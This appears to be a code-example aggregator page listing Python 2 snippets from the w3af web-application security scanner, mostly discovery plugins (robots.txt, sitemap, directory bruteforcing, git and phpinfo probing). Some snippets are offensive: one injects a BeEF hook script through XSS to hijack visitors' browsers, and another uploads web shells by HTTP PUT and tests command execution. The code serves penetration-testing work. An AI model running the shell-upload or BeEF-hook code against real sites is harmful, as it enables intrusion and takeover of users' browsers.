예제 #1
0
    def discover(self, fuzzableRequest ):
        '''
        Get the robots.txt file and parse it.
        
        @parameter fuzzableRequest: A fuzzableRequest instance that contains
                                                      (among other things) the URL to test.
        '''
        if not self._exec:
            # This will remove the plugin from the discovery plugins to be runned.
            raise w3afRunOnce()
        else:
            # Only run once
            self._exec = False
            
            dirs = []
            self._new_fuzzable_requests = []         
            
            base_url = urlParser.baseUrl( fuzzableRequest.getURL() )
            robots_url = urlParser.urlJoin(  base_url , 'robots.txt' )
            http_response = self._urlOpener.GET( robots_url, useCache=True )
            
            if not is_404( http_response ):
                # Save it to the kb!
                i = info.info()
                i.setPluginName(self.getName())
                i.setName('robots.txt file')
                i.setURL( robots_url )
                i.setId( http_response.id )
                i.setDesc( 'A robots.txt file was found at: "'+ robots_url +'".' )
                kb.kb.append( self, 'robots.txt', i )
                om.out.information( i.getDesc() )


                # Work with it...
                dirs.append( robots_url )
                for line in http_response.getBody().split('\n'):
                    
                    line = line.strip()
                    
                    if len(line) > 0 and line[0] != '#' and (line.upper().find('ALLOW') == 0 or\
                    line.upper().find('DISALLOW') == 0 ):
                        
                        url = line[ line.find(':') + 1 : ]
                        url = url.strip()
                        url = urlParser.urlJoin(  base_url , url )
                        dirs.append( url )

            for url in dirs:
                #   Send the requests using threads:
                targs = ( url,  )
                self._tm.startFunction( target=self._get_and_parse, args=targs , ownerObj=self )
            
            # Wait for all threads to finish
            self._tm.join( self )
        
        return self._new_fuzzable_requests
예제 #2
0
    def discover(self, fuzzableRequest):
        """
        Get the file and parse it.
        
        @parameter fuzzableRequest: A fuzzableRequest instance that contains
                                                      (among other things) the URL to test.
        """
        if not self._exec:
            raise w3afRunOnce()
        else:
            # Only run once
            self._exec = False

            base_url = urlParser.baseUrl(fuzzableRequest.getURL())

            ### Google Gears
            for ext in self._extensions:
                for word in file(self._wordlist):
                    manifest_url = urlParser.urlJoin(base_url, word.strip())
                    manifest_url = manifest_url + ext
                    om.out.debug("Google Gears Manifest Testing " + manifest_url)
                    http_response = self._urlOpener.GET(manifest_url, useCache=True)

                    if '"entries":' in http_response and not is_404(http_response):
                        # Save it to the kb!
                        i = info.info()
                        i.setPluginName(self.getName())
                        i.setName("Gears Manifest")
                        i.setURL(manifest_url)
                        i.setId(http_response.id)
                        desc = 'A gears manifest file was found at: "' + manifest_url
                        desc += '".  Each file should be manually reviewed for sensitive'
                        desc += " information that may get cached on the client."
                        i.setDesc(desc)
                        kb.kb.append(self, manifest_url, i)
                        om.out.information(i.getDesc())

            ### CrossDomain.XML
            cross_domain_url = urlParser.urlJoin(base_url, "crossdomain.xml")
            om.out.debug("Checking crossdomain.xml file")
            response = self._urlOpener.GET(cross_domain_url, useCache=True)

            if not is_404(response):
                self._checkResponse(response, "crossdomain.xml")

            ### CrossAccessPolicy.XML
            client_access_url = urlParser.urlJoin(base_url, "clientaccesspolicy.xml")
            om.out.debug("Checking clientaccesspolicy.xml file")
            response = self._urlOpener.GET(client_access_url, useCache=True)

            if not is_404(response):
                self._checkResponse(response, "clientaccesspolicy.xml")

        return []
예제 #3
0
 def _create_dirs(self, url , userList = None ):
     '''
     Append the users to the URL.
     
     @param url: The original url
     @return: A list of URL's with the username appended.
     '''
     res = []
     
     if userList is None:
         userList = self._get_users()
         
     for user in userList:
         res.append( (urlParser.urlJoin( url , '/'+user+'/' ) , user ) )
         res.append( (urlParser.urlJoin( url , '/~'+user+'/' ) , user ) )
     return res
예제 #4
0
    def discover(self, fuzzableRequest):
        '''
        For every directory, fetch a list of shell files and analyze the response.
        
        @parameter fuzzableRequest: A fuzzableRequest instance that contains 
        (among other things) the URL to test.
        '''
        domain_path = urlParser.getDomainPath(fuzzableRequest.getURL())
        self._fuzzable_requests_to_return = []

        if domain_path not in self._analyzed_dirs:
            self._analyzed_dirs.append(domain_path)

            # Search for the web shells
            for web_shell_filename in WEB_SHELLS:
                web_shell_url = urlParser.urlJoin(domain_path , 
                                                  web_shell_filename)
                # Perform the check in different threads
                targs = (web_shell_url,)
                self._tm.startFunction(target=self._check_if_exists, 
                                       args=targs, ownerObj=self)

            # Wait for all threads to finish
            self._tm.join(self)

            return self._fuzzable_requests_to_return
예제 #5
0
    def _upload_file( self, domain_path,  randFile ):
        '''
        Upload the file using author.dll
        
        @parameter domain_path: http://localhost/f00/
        @parameter randFile: fj01afka.html
        '''
        file_path = urlParser.getPath(domain_path) + randFile
        
        # TODO: The frontpage version should be obtained from the information saved in the kb
        # by the discovery.frontpage_version plugin!
        # The 4.0.2.4715 version should be dynamic!
        # The information is already saved in the discovery plugin in the line:
        # i['version'] = version_match.group(1)
        content = "method=put document:4.0.2.4715&service_name=&document=[document_name="
        content += file_path
        content += ";meta_info=[]]&put_option=overwrite&comment=&keep_checked_out=false"
        content += '\n'
        # The content of the file I'm uploading is the file name reversed
        content += randFile[::-1]
        
        # TODO: The _vti_bin and _vti_aut directories should be PARSED from the _vti_inf file
        # inside the discovery.frontpage_version plugin, and then used here
        targetURL = urlParser.urlJoin( domain_path, '_vti_bin/_vti_aut/author.dll' )

        try:
            res = self._urlOpener.POST( targetURL , data=content )
        except w3afException,  e:
            om.out.debug('Exception while uploading file using author.dll: ' + str(e))
예제 #6
0
 def _findMetaRedir( self, tag, attrs):
     '''
     Find meta tag redirections, like this one:
     <META HTTP-EQUIV="refresh" content="4;URL=http://www.f00.us/">
     '''
     if tag.lower() == 'meta':
         hasHTTP_EQUIV = False
         hasContent = False
         content = ''
         for attr in attrs:
             if attr[0].lower() == 'http-equiv' and attr[1].lower() == 'refresh':
                 hasHTTP_EQUIV = True
             if attr[0].lower() == 'content':
                 hasContent = True
                 content = attr[1]
                 
         if hasContent and hasHTTP_EQUIV:
             self._metaRedirs.append( content )
             
             # And finally I add the URL to the list of url's found in the document...
             # The content variables looks something like... "4;URL=http://www.f00.us/"
             # The content variables looks something like... "2; URL=http://www.f00.us/"
             # The content variables looks something like... "6  ; URL=http://www.f00.us/"
             for url in re.findall('.*?URL.*?=(.*)', content, re.IGNORECASE):
                 url = url.strip()
                 url = self._decode_URL( url, self._encoding )
                 url = urlParser.urlJoin( self._baseUrl , url )
                 
                 self._parsed_URLs.append( url )
                 self._tag_and_url.append( ('meta', url ) )
예제 #7
0
    def unknown_starttag(self, tag, attrs):
        '''
        Called for each start tag
        attrs is a list of (attr, value) tuples
        e.g. for <pre class="screen">, tag="pre", attrs=[("class", "screen")]

        Note that improperly embedded non-HTML code (like client-side Javascript)
        may be parsed incorrectly by the ancestor, causing runtime script errors.
        All non-HTML code must be enclosed in HTML comment tags (<!-- code -->)
        to ensure that it will pass through this parser unaltered (in handle_comment).
        '''
        # TODO: For some reason this method failed to work:
        #def _handle_base_starttag(self, tag, attrs):        
        # so I added this here... it's not good code... but... it works!
        if tag.lower() == 'base':
            # Get the href value and then join
            new_base_url = ''
            for attr in attrs:
                if attr[0].lower() == 'href':
                    new_base_url = attr[1]
                    break
            # set the new base URL
            self._baseUrl = urlParser.urlJoin( self._baseUrl , new_base_url )
        
        if tag.lower() == 'script':
            self._insideScript = True
            
        try:
            self._findReferences(tag, attrs)
        except Exception, e:
            msg = 'An unhandled exception was found while finding references inside a document.'
            msg += ' The exception is: "' + str(e) + '"'
            om.out.error( msg )
            om.out.error('Error traceback: ' + str( traceback.format_exc() ) )
예제 #8
0
    def _generate_404_knowledge( self, url ):
        '''
        Based on a URL, request something that we know is going to be a 404.
        Afterwards analyze the 404's and summarise them.
        
        @return: A list with 404 bodies.
        '''
        # Get the filename extension and create a 404 for it
        extension = urlParser.getExtension( url )
        domain_path = urlParser.getDomainPath( url )
        
        # the result
        self._response_body_list = []
        
        #
        #   This is a list of the most common handlers, in some configurations, the 404
        #   depends on the handler, so I want to make sure that I catch the 404 for each one
        #
        handlers = ['py', 'php', 'asp', 'aspx', 'do', 'jsp', 'rb', 'do', 'gif', 'htm', extension]
        handlers += ['pl', 'cgi', 'xhtml', 'htmls']
        handlers = list(set(handlers))
        
        for extension in handlers:

            rand_alnum_file = createRandAlNum( 8 ) + '.' + extension
                
            url404 = urlParser.urlJoin(  domain_path , rand_alnum_file )

            #   Send the requests using threads:
            targs = ( url404,  )
            tm.startFunction( target=self._send_404, args=targs , ownerObj=self )
            
        # Wait for all threads to finish sending the requests.
        tm.join( self )
        
        #
        #   I have the bodies in self._response_body_list , but maybe they all look the same, so I'll
        #   filter the ones that look alike.
        #
        result = [ self._response_body_list[0], ]
        for i in self._response_body_list:
            for j in self._response_body_list:
                
                if relative_distance_ge(i, j, IS_EQUAL_RATIO):
                    # They are equal, we are ok with that
                    continue
                else:
                    # They are no equal, this means that we'll have to add this to the list
                    result.append(j)
        
        # I don't need these anymore
        self._response_body_list = None
        
        # And I return the ones I need
        result = list(set(result))
        om.out.debug('The 404 body result database has a lenght of ' + str(len(result)) +'.')
        
        return result
예제 #9
0
 def discover(self, fuzzableRequest ):
     '''
     Searches for user directories.
     
     @parameter fuzzableRequest: A fuzzableRequest instance that contains
                                                 (among other things) the URL to test.
     '''
     if not self._run:
         raise w3afRunOnce()
         
     else:
         self._run = False
         self._fuzzable_requests = []
             
         base_url = urlParser.baseUrl( fuzzableRequest.getURL() )
         self._headers = {'Referer': base_url }
         
         # Create a response body to compare with the others
         non_existant_user = '******'
         test_URL = urlParser.urlJoin( base_url, non_existant_user )
         try:
             response = self._urlOpener.GET( test_URL, useCache=True, \
                                                                 headers=self._headers )
             response_body = response.getBody()                
         except:
             raise w3afException('userDir failed to create a non existant signature.')
             
         self._non_existant = response_body.replace( non_existant_user, '')
         
         # Check the users to see if they exist
         url_user_list = self._create_dirs( base_url )
         for url, user in url_user_list :
             om.out.debug('userDir is testing ' + url )
             
             #   Send the requests using threads:
             targs = ( url, user )
             self._tm.startFunction( target=self._do_request, args=targs, ownerObj=self )
             
         # Wait for all threads to finish
         self._tm.join( self )
         
         # Only do this if I already know that users can be identified.
         if kb.kb.getData( 'userDir', 'users' ) != []:
             # AND only run once
             if self._run_OS_ident:
                 self._run_OS_ident = False
                 self._advanced_identification( base_url, 'os' )
             
             if self._run_app_ident:
                 self._run_app_ident = False
                 self._advanced_identification( base_url, 'apps' )
                 
             # Report findings of remote OS, applications, users, etc.
             self._report_findings()
         
         return self._fuzzable_requests
예제 #10
0
 def _PUT( self, domain_path ):
     '''
     Tests PUT method.
     '''
     # upload
     url = urlParser.urlJoin( domain_path, createRandAlpha( 5 ) )
     rndContent = createRandAlNum(6)
     put_response = self._urlOpener.PUT( url , data=rndContent )
     
     # check if uploaded
     res = self._urlOpener.GET( url , useCache=True )
     if res.getBody() == rndContent:
         v = vuln.vuln()
         v.setPluginName(self.getName())
         v.setURL( url )
         v.setId( [put_response.id, res.id] )
         v.setSeverity(severity.HIGH)
         v.setName( 'Insecure DAV configuration' )
         v.setMethod( 'PUT' )
         msg = 'File upload with HTTP PUT method was found at resource: "' + domain_path + '".'
         msg += ' A test file was uploaded to: "' + res.getURL() + '".'
         v.setDesc( msg )
         kb.kb.append( self, 'dav', v )
     
     # Report some common errors
     elif put_response.getCode() == 500:
         i = info.info()
         i.setPluginName(self.getName())
         i.setURL( url )
         i.setId( res.id )
         i.setName( 'DAV incorrect configuration' )
         i.setMethod( 'PUT' )
         msg = 'DAV seems to be incorrectly configured. The web server answered with a 500'
         msg += ' error code. In most cases, this means that the DAV extension failed in'
         msg += ' some way. This error was found at: "' + put_response.getURL() + '".'
         i.setDesc( msg )
         kb.kb.append( self, 'dav', i )
     
     # Report some common errors
     elif put_response.getCode() == 403:
         i = info.info()
         i.setPluginName(self.getName())
         i.setURL( url )
         i.setId( [put_response.id, res.id] )
         i.setName( 'DAV insufficient privileges' )
         i.setMethod( 'PUT' )
         msg = 'DAV seems to be correctly configured and allowing you to use the PUT method'
         msg +=' but the directory does not have the correct permissions that would allow'
         msg += ' the web server to write to it. This error was found at: "'
         msg += put_response.getURL() + '".'
         i.setDesc( msg )
         kb.kb.append( self, 'dav', i )
예제 #11
0
    def _bruteforce_directories(self, base_path):
        '''
        @parameter base_path: The base path to use in the bruteforcing process, can be something
        like http://host.tld/ or http://host.tld/images/ .
        '''
        for directory_name in file(self._dir_list):
            directory_name = directory_name.strip()
            
            # ignore comments and empty lines
            if directory_name and not directory_name.startswith('#'):
                dir_url = urlParser.urlJoin(  base_path , directory_name)
                dir_url +=  '/'

                http_response = self._urlOpener.GET( dir_url, useCache=False )
                
                if not is_404( http_response ):
                    #
                    #   Looking fine... but lets see if this is a false positive or not...
                    #
                    dir_url = urlParser.urlJoin(  base_path , directory_name + createRandAlNum(5) )
                    dir_url +=  '/'
                    invalid_http_response = self._urlOpener.GET( dir_url, useCache=False )

                    if is_404( invalid_http_response ):
                        #
                        #   Good, the directory_name + createRandAlNum(5) return a 404, the original
                        #   directory_name is not a false positive.
                        #
                        fuzzable_reqs = self._createFuzzableRequests( http_response )
                        self._fuzzable_requests.extend( fuzzable_reqs )
                        
                        msg = 'Directory bruteforcer plugin found directory "'
                        msg += http_response.getURL()  + '"'
                        msg += ' with HTTP response code ' + str(http_response.getCode())
                        msg += ' and Content-Length: ' + str(len(http_response.getBody()))
                        msg += '.'
                        
                        om.out.information( msg )
예제 #12
0
 def _check_and_analyze(self, domain_path, php_info_filename):
     '''
     Check if a php_info_filename exists in the domain_path.
     @return: None, everything is saved to the self._new_fuzzable_requests list.
     '''
     # Request the file
     php_info_url = urlParser.urlJoin(  domain_path , php_info_filename )
     try:
         response = self._urlOpener.GET( php_info_url, useCache=True )
         om.out.debug( '[phpinfo] Testing "' + php_info_url + '".' )
     except w3afException,  w3:
         msg = 'Failed to GET phpinfo file: "' + php_info_url + '".'
         msg += 'Exception: "' + str(w3) + '".'
         om.out.debug( msg )
예제 #13
0
 def __init__(self):
     baseAttackPlugin.__init__(self)
     
     # Internal variables
     self._vuln = None
     
     # User configured variables
     self._beefPasswd = 'BeEFConfigPass'
     # without the hook dir !
     self._beefURL = 'http://localhost/beef/'
     
     # A message to the user
     self._message = 'You can start interacting with the beEF server at: '
     self._message += urlParser.urlJoin( self._beefURL, 'ui/' )
예제 #14
0
    def discover(self, fuzzableRequest ):
        '''
        For every directory, fetch a list of files and analyze the response using regex.
        
        @parameter fuzzableRequest: A fuzzableRequest instance that contains (among other things) the URL to test.
        '''
        domain_path = urlParser.getDomainPath( fuzzableRequest.getURL() )
        self._fuzzable_requests_to_return = []
        
        if domain_path not in self._analyzed_dirs:
            self._analyzed_dirs.append( domain_path )

            #
            #   First we check if the .git/HEAD file exists
            #
            url, regular_expression = self._compiled_git_info[0]
            git_url = urlParser.urlJoin(domain_path, url)
            try:
                response = self._urlOpener.GET( git_url, useCache=True )
            except w3afException:
                om.out.debug('Failed to GET git file: "' + git_url + '"')
            else:
                if not is_404(response):
                    #
                    #   It looks like we have a GIT repository!
                    #
                    for url, regular_expression in self._compiled_git_info:
                        git_url = urlParser.urlJoin(domain_path, url)
                        targs = (domain_path, git_url, regular_expression)
                        # Note: The .git/HEAD request is only sent once. We use the cache.
                        self._tm.startFunction(target=self._check_if_exists, args=targs, ownerObj=self)         
                    
                    # Wait for all threads to finish
                    self._tm.join( self )
                
            return self._fuzzable_requests_to_return
예제 #15
0
    def _parse_xssed_result(self, response):
        '''
        Parse the result from the xssed site and create the corresponding info objects.
        
        @return: None
        '''
        html_body = response.getBody()
        
        if "<b>XSS:</b>" in html_body:
            #
            #   Work!
            #
            regex_many_vulns = re.findall("<a href='(/mirror/\d*/)' target='_blank'>", html_body)
            for mirror_relative_link in regex_many_vulns:
                
                mirror_url = urlParser.urlJoin( self._xssed_url , mirror_relative_link )
                xss_report_response = self._urlOpener.GET( mirror_url )
                matches = re.findall("URL:.+", xss_report_response.getBody())
                
                v = vuln.vuln()
                v.setPluginName(self.getName())
                v.setName('Possible XSS vulnerability')
                v.setURL( mirror_url )
                
                if self._fixed in xss_report_response.getBody():
                    v.setSeverity( severity.LOW )
                    msg = 'This script contained a XSS vulnerability: "'
                    msg += self._decode_xssed_url( self._decode_xssed_url(matches[0]) ) +'".'
                else:
                    v.setSeverity( severity.HIGH )
                    msg = 'According to xssed.com , this script contains a XSS vulnerability: "'
                    msg += self._decode_xssed_url( self._decode_xssed_url(matches[0]) ) +'".'

                v.setDesc( msg )
                kb.kb.append( self, 'xss', v )
                om.out.information( v.getDesc() )
                
                #
                #   Add the fuzzable request, this is useful if I have the XSS plugin enabled
                #   because it will re-test this and possibly confirm the vulnerability
                #
                fuzzable_requests = self._createFuzzableRequests( xss_report_response )
                self._fuzzable_requests_to_return.extend( fuzzable_requests )
        else:
            #   Nothing to see here...
            om.out.debug('xssedDotCom did not find any previously reported XSS vulnerabilities.')

        return self._fuzzable_requests_to_return
예제 #16
0
 def _verify_upload(self,  domain_path,  randFile,  upload_id):
     '''
     Verify if the file was uploaded.
     
     @parameter domain_path: http://localhost/f00/
     @parameter randFile: The filename that was supposingly uploaded
     @parameter upload_id: The id of the POST request to author.dll
     '''        
     targetURL = urlParser.urlJoin( domain_path, randFile )
     
     try:
         res = self._urlOpener.GET( targetURL )
     except w3afException,  e:
         msg = 'Exception while verifying if the file that was uploaded using '
         msg += 'author.dll was there: ' + str(e)
         om.out.debug(msg)
예제 #17
0
    def _verifyVuln( self, vuln_obj ):
        '''
        This command verifies a vuln. This is really hard work! :P

        @parameter vuln_obj: The vulnerability to exploit.
        @return : True if vuln can be exploited.
        '''
        # Internal note:
        # <script language="Javascript" src="http://localhost/beef/hook/beefmagic.js.php"></script>
        to_include = '<script language="Javascript" src="' 
        to_include += urlParser.urlJoin( self._beefURL, 'hook/beefmagic.js.php' ) + '"></script>'
        
        if 'permanent' in vuln_obj.keys():
            # Its a permanent / persistant XSS, nice ! =)
            write_payload_mutant = vuln_obj['write_payload']
            write_payload_mutant.setModValue( to_include )
            
            # Write the XSS
            response = self._sendMutant( write_payload_mutant, analyze=False )
            
            # Read it !
            response = self._sendMutant( vuln_obj['read_payload'], analyze=False )
            
            if to_include in response.getBody():
                msg = 'The exploited cross site scripting is of type permanent. To be activated,'
                msg += ' the zombies should navigate to: ' + vuln_obj['read_payload'].getURI()
                om.out.console( msg )
                om.out.console( self._message )
                return True
            else:
                return False
                        
        else:
            # Its a simple xss
            if vuln_obj.getMethod() == 'GET':
                # I'll be able to exploit this one.
                mutant = vuln_obj.getMutant()
                mutant.setModValue( to_include )
                response = self._sendMutant( mutant, analyze=False )
                if to_include in response.getBody():
                    msg = 'To be activated, the zombies have to navigate to: "'
                    msg += mutant.getURI() + '".'
                    om.out.console( msg )
                    om.out.console( self._message )
                    return True
                else:
                    return False
예제 #18
0
    def _handle_form_tag(self, tag, attrs):
        """
        Handles the form tags.

        This method also looks if there are "pending inputs" in the self._saved_inputs list
        and parses them.
        """
        # Find the method
        method = "GET"
        foundMethod = False
        for attr in attrs:
            if attr[0].lower() == "method":
                method = attr[1].upper()
                foundMethod = True

        if not foundMethod:
            om.out.debug("htmlParser found a form without a method. Using GET as the default.")

        # Find the action
        foundAction = False
        for attr in attrs:
            if attr[0].lower() == "action":
                decoded_action = self._decode_URL(attr[1], self._encoding)
                action = urlParser.urlJoin(self._baseUrl, decoded_action)
                foundAction = True

        if not foundAction:
            msg = "htmlParser found a form without an action attribute. Javascript may be used..."
            msg += " but another option (mozilla does this) is that the form is expected to be "
            msg += " posted back to the same URL (the one that returned the HTML that we are "
            msg += " parsing)."
            om.out.debug(msg)
            action = self._source_url

        # Create the form object and store everything for later use
        self._insideForm = True
        form_obj = form.form()
        form_obj.setMethod(method)
        form_obj.setAction(action)
        self._forms.append(form_obj)

        # Now I verify if they are any input tags that were found outside the scope of a form tag
        for tag, attrs in self._saved_inputs:
            # Parse them just like if they were found AFTER the form tag opening
            self._handle_input_tag_inside_form(tag, attrs)
        # All parsed, remove them.
        self._saved_inputs = []
예제 #19
0
    def exploit( self, vulnToExploit=None ):
        '''
        Exploits a XSS vuln that was found and stored in the kb.

        @return: True if the shell is working and the user can start calling specific_user_input
        '''
        om.out.console( 'Browser Exploitation Framework - by Wade Alcorn http://www.bindshell.net' )
        xss_vulns = kb.kb.getData( 'xss' , 'xss' )
        if not self.canExploit():
            raise w3afException('No cross site scripting vulnerabilities have been found.')
        
        # First I'll configure the beef server, if this is unsuccessfull, then nothing else 
        # should be done!
        #
        # GET http://localhost/beef/submit_config.php?config=http://localhost/beef/&passwd=
        #beEFconfigPass HTTP/1.1
        config_URL = urlParser.urlJoin( self._beefURL , 'submit_config.php' )
        config_URI = config_URL + '?config=' + self._beefURL + '&passwd=' + self._beefPasswd
        response = self._urlOpener.GET( config_URI )
        if response.getBody().count('BeEF Successfuly Configured'):
            # everything ok!
            pass
        elif 'Incorrect BeEF password, please try again.' in response.getBody():
            raise w3afException('Incorrect password for beEF configuration.')
        elif 'Permissions on the' in response.getBody():
            raise w3afException('Incorrect BeEF installation')
        else:
            raise w3afException('BeEF installation not found.')
            
        
        # Try to get a proxy using one of the vulns
        for vuln_obj in xss_vulns:
            msg = 'Trying to exploit using vulnerability with id: ' + str( vuln_obj.getId() )
            om.out.console( msg )
            if self._generateProxy(vuln_obj):
                # TODO: Create a proxy instead of a shell
                # Create the shell object
                shell_obj = xssShell(vuln_obj)
                shell_obj.setBeefURL( self._beefURL )
                kb.kb.append( self, 'shell', shell_obj )
                
                return [ shell_obj, ]
            else:
                msg = 'Failed to exploit using vulnerability with id: ' + str( vuln_obj.getId() )
                om.out.console( msg )
                    
        return []
예제 #20
0
    def _compare_dir( self, arg, directory, flist ):
        '''
        This function is the callback function called from os.path.walk, from the python
        help function:
        
        walk(top, func, arg)
            Directory tree walk with callback function.
        
            For each directory in the directory tree rooted at top (including top
            itself, but excluding '.' and '..'), call func(arg, dirname, fnames).
            dirname is the name of the directory, and fnames a list of the names of
            the files and subdirectories in dirname (excluding '.' and '..').  func
            may modify the fnames list in-place (e.g. via del or slice assignment),
            and walk will only recurse into the subdirectories whose names remain in
            fnames; this can be used to implement a filter, or to impose a specific
            order of visiting.  No semantics are defined for, or required of, arg,
            beyond that arg is always passed to func.  It can be used, e.g., to pass
            a filename pattern, or a mutable object designed to accumulate
            statistics.  Passing None for arg is common.

        '''
        if self._first:
            self._start_path = directory
            self._first = False
        
        directory_2 = directory.replace( self._start_path,'' )
        path = self._remote_path
        if directory_2 != '':
            path += directory_2 + os.path.sep
        else:
            path += directory_2
        
        for fname in flist:
            if os.path.isfile( directory + os.path.sep + fname ):
                url = urlParser.urlJoin( path, fname )
                response = self._easy_GET( url )
            
                if not is_404( response ):
                    if response.is_text_or_html():
                        self._fuzzableRequests.extend( self._createFuzzableRequests( response ) )
                    self._check_content( response, directory + os.path.sep + fname )
                    self._eq.append( url )
                else:
                    self._not_eq.append( url )
예제 #21
0
 def discover(self, fuzzableRequest ):
     '''
     Get the sitemap.xml file and parse it.
     
     @parameter fuzzableRequest: A fuzzableRequest instance that contains (among other things) the URL to test.
     '''
     if not self._exec:
         # This will remove the plugin from the discovery plugins to be runned.
         raise w3afRunOnce()
     else:
         # Only run once
         self._exec = False
         self._new_fuzzable_requests = []
         
         base_url = urlParser.baseUrl( fuzzableRequest.getURL() )
         sitemap_url = urlParser.urlJoin(  base_url , 'sitemap.xml' )
         response = self._urlOpener.GET( sitemap_url, useCache=True )
         
         # Remember that httpResponse objects have a faster "__in__" than
         # the one in strings; so string in response.getBody() is slower than
         # string in response
         if '</urlset>' in response and not is_404( response ):
             om.out.debug('Analyzing sitemap.xml file.')
             
             self._new_fuzzable_requests.extend( self._createFuzzableRequests( response ) )
             
             import xml.dom.minidom
             om.out.debug('Parsing xml file with xml.dom.minidom.')
             try:
                 dom = xml.dom.minidom.parseString( response.getBody() )
             except:
                 raise w3afException('Error while parsing sitemap.xml')
             urlList = dom.getElementsByTagName("loc")
             for url in urlList:
                 url = url.childNodes[0].data 
                 #   Send the requests using threads:
                 targs = ( url,  )
                 self._tm.startFunction( target=self._get_and_parse, args=targs , ownerObj=self )
         
             # Wait for all threads to finish
             self._tm.join( self )
     
         return self._new_fuzzable_requests
예제 #22
0
    def _findReferences(self, tag, attrs):
        '''
        This method finds references inside a document.
        '''
        if tag.lower() not in self._tagsContainingURLs:
            return

        for attr_name, attr_val in attrs:
            if attr_name.lower() in self._urlAttrs:
                
                # Only add it to the result of the current URL is not a fragment
                if attr_val and not attr_val.startswith('#'):
                    url = urlParser.urlJoin(self._baseUrl, attr_val)
                    url = self._decode_URL(url, self._encoding)
                    url = urlParser.normalizeURL(url)
                    if url not in self._parsed_URLs:
                        self._parsed_URLs.append(url)
                        self._tag_and_url.append((tag.lower(), url))
                        break
예제 #23
0
    def discover(self, fuzzableRequest ):
        '''
        GET some files and parse them.
        
        @parameter fuzzableRequest: A fuzzableRequest instance that contains
                                    (among other things) the URL to test.
        '''
        dirs = []
        if not self._exec :
            # This will remove the plugin from the discovery plugins to be runned.
            raise w3afRunOnce()
            
        else:
            # Only run once
            self._exec = False
            
            baseUrl = urlParser.baseUrl( fuzzableRequest.getURL() )
            
            for url, regex_string in self.getOracleData():

                oracle_discovery_URL = urlParser.urlJoin(  baseUrl , url )
                response = self._urlOpener.GET( oracle_discovery_URL, useCache=True )
                
                if not is_404( response ):
                    dirs.extend( self._createFuzzableRequests( response ) )
                    if re.match( regex_string , response.getBody(), re.DOTALL):
                        i = info.info()
                        i.setPluginName(self.getName())
                        i.setName('Oracle application')
                        i.setURL( response.getURL() )
                        i.setDesc( self._parse( url, response ) )
                        i.setId( response.id )
                        kb.kb.append( self, 'info', i )
                        om.out.information( i.getDesc() )
                    else:
                        msg = 'oracleDiscovery found the URL: ' + response.getURL()
                        msg += ' but failed to parse it. The content of the URL is: "'
                        msg += response.getBody() + '".'
                        om.out.debug( msg )
        
        return dirs
예제 #24
0
    def _generate_URLs(self, original_url):
        '''
        Generate new URLs based on original_url.

        @parameter original_url: The original url that has to be modified in order to trigger errors in the remote application.
        '''
        res = []
        special_chars = ['|', '~']

        filename = urlParser.getFileName( original_url )
        if filename != '' and '.' in filename:
            splitted_filename = filename.split('.')
            extension = splitted_filename[-1:][0]
            name = '.'.join( splitted_filename[0:-1] )

            for char in special_chars:
                new_filename = name + char + '.' + extension
                new_url = urlParser.urlJoin( urlParser.getDomainPath(original_url), new_filename)
                res.append( new_url )

        return res
예제 #25
0
 def _generate_URL_from_result( self, analyzed_variable, element_index, result_set, fuzzableRequest ):
     '''
     Based on the result, create the new URLs to test.
     
     @parameter analyzed_variable: The parameter name that is being analyzed
     @parameter element_index: 0 in most cases, >0 if we have repeated parameter names
     @parameter result_set: The set of results that wordnet gave use
     @parameter fuzzableRequest: The fuzzable request that we got as input in the first place.
     
     @return: An URL list.
     '''
     if analyzed_variable is None:
         # The URL was analyzed
         url = fuzzableRequest.getURL()
         fname = urlParser.getFileName( url )
         dp = urlParser.getDomainPath( url )
         
         # The result
         result = []
         
         splitted_fname = fname.split('.')
         if len(splitted_fname) == 2:
             name = splitted_fname[0]
             extension = splitted_fname[1]
         else:
             name = '.'.join(splitted_fname[:-1])
             extension = 'html'
         
         for set_item in result_set:
             new_fname = fname.replace( name, set_item )
             frCopy = fuzzableRequest.copy()
             frCopy.setURL( urlParser.urlJoin( dp, new_fname ) )
             result.append( frCopy )
             
         return result
         
     else:
         mutants = createMutants( fuzzableRequest , result_set, \
                                                 fuzzableParamList=[analyzed_variable,] )
         return mutants
예제 #26
0
 def audit(self, freq ):
     '''
     Searches for file upload vulns using a POST to author.dll.
     
     @param freq: A fuzzableRequest
     '''
     # Set some value
     domain_path = urlParser.getDomainPath( freq.getURL() )
     
     # Start
     if self._stop_on_first and kb.kb.getData('frontpage', 'frontpage'):
         # Nothing to do, I have found vuln(s) and I should stop on first
         msg = 'Not verifying if I can upload files to: "' + domain_path + '" using author.dll'
         msg += '. Because I already found one vulnerability.'
         om.out.debug(msg)
     else:
         # I haven't found any vulns yet, OR i'm trying to find every
         # directory where I can write a file.
         if domain_path not in self._already_tested:
             om.out.debug( 'frontpage plugin is testing: ' + freq.getURL() )
             self._already_tested.add( domain_path )
             
             # Find a file that doesn't exist
             found404 = False
             for i in xrange(3):
                 randFile = createRandAlpha( 5 ) + '.html'
                 randPathFile = urlParser.urlJoin(domain_path,  randFile)
                 res = self._urlOpener.GET( randPathFile )
                 if is_404( res ):
                     found404 = True
                     break
             
             if found404:
                 upload_id = self._upload_file( domain_path,  randFile )
                 self._verify_upload( domain_path,  randFile,  upload_id )
             else:
                 msg = 'frontpage plugin failed to find a 404 page. This is mostly because of an'
                 msg += ' error in 404 page detection.'
                 om.out.error(msg)
예제 #27
0
    def _verifyVuln(self, vuln_obj):
        """
        This command verifies a vuln. This is really hard work! :P

        @return : True if vuln can be exploited.
        """
        # Create the shell
        filename = createRandAlpha(7)
        extension = urlParser.getExtension(vuln_obj.getURL())

        # I get a list of tuples with file_content and extension to use
        shell_list = shell_handler.get_webshells(extension)

        for file_content, real_extension in shell_list:
            if extension == "":
                extension = real_extension
            om.out.debug('Uploading shell with extension: "' + extension + '".')

            # Upload the shell
            url_to_upload = urlParser.urlJoin(vuln_obj.getURL(), filename + "." + extension)
            om.out.debug("Uploading file: " + url_to_upload)
            self._urlOpener.PUT(url_to_upload, data=file_content)

            # Verify if I can execute commands
            # All w3af shells, when invoked with a blank command, return a
            # specific value in the response:
            # shell_handler.SHELL_IDENTIFIER
            response = self._urlOpener.GET(url_to_upload + "?cmd=")
            if shell_handler.SHELL_IDENTIFIER in response.getBody():
                msg = 'The uploaded shell returned the SHELL_IDENTIFIER: "'
                msg += shell_handler.SHELL_IDENTIFIER + '".'
                om.out.debug(msg)
                self._exploit_url = url_to_upload + "?cmd="
                return True
            else:
                msg = 'The uploaded shell with extension: "' + extension
                msg += "\" DIDN'T returned what we expected, it returned: " + response.getBody()
